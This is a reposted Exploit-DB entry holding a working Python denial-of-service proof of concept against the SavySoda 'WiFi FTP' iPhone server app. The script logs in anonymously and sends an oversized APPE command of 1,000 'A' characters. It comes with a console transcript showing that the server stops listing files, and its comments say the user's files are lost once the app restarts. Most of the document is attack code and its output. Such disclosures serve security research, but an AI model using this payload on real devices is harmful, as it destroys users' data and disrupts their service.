iPhone FTP Server (WiFi FTP) by SavySoda – Denial of Service (PoC) - 体验盒子

作者： b0telh0

日期： 2010-02-23

类别：

dos

平台：

hardware

来源：https://www.exploit-db.com/exploits/11546/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

#!/usr/bin/python

#

# Title: iPhone - FTP Server (WiFi FTP) by SavySoda DoS/PoC

# Date: 02-18-2010

# Author: b0telh0

# Link: app store (http://itunes.apple.com/br/app/ftp-server/id346724641?mt=8)

# Tested on: iPhone 3G (firmware 3.1.3)

# The server doesn't crash at all, but after exploiting it

# you can't see (list) your files anymore. You must to close the app

# and open it again. Then you'll see that the app starts like it was

# fresh installed and your files are gone.

# root@bt:~# ./free_ftp.py 192.168.1.108

#

# [+] iPhone - FTP Server by SavySoda(WiFi FTP).

# [+] Free version of WiFi FTP with Ad Support.

#

# [+] Connecting...

# [+] 220 Service ready.

#

# [+] Sending username...

# [+] Sending buffer...

# [+] done!

# root@bt:~# ftp 192.168.1.108

# Connected to 192.168.1.108.

# 220 Service ready.

# Name (192.168.1.108:root): anonymous

# 230 User logged in, proceed.

# Remote system type is UNIX.

# Using binary mode to transfer files.

# ftp> ls

# 200 Command okay.

# 450 Requested file action not taken. File unavailable (e.g., file busy).

# ftp> ls

# 421 Service not available, closing control connection.

# ftp> ls

# Not connected.

# ftp> bye

import socket

import sys

import time

crash = "\x41" * 1000

def Usage():

print ("Usage: ./free_ftp.py serv_ip\n")

if len(sys.argv) <> 2:

Usage()

sys.exit(1)

else:

host = sys.argv[1]

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:

print "\n[+] FTP Server by SavySoda(WiFi FTP)."

print "[+] Free version of WiFi FTP with Ad Support.\n"

print "[+] Connecting..."

s.connect((host, 21))

b=s.recv(1024)

print "[+] " +b

except:

print ("[-] Can't connect to ftp server!\n")

sys.exit(1)

print "[+] Sending username..."

time.sleep(3)

s.send('USER anonymous\r\n')

s.recv(1024)

print "[+] Sending buffer..."

time.sleep(3)

s.send('APPE ' + crash + '\r\n')

s.recv(1024)

s.close()

print "[+] done!\n"

sys.exit(0);

--

Leonardo Rota Botelho

http://www.leonardobotelho.com/blog/

public key: http://www.leonardobotelho.com/leonardorotabotelho.gpg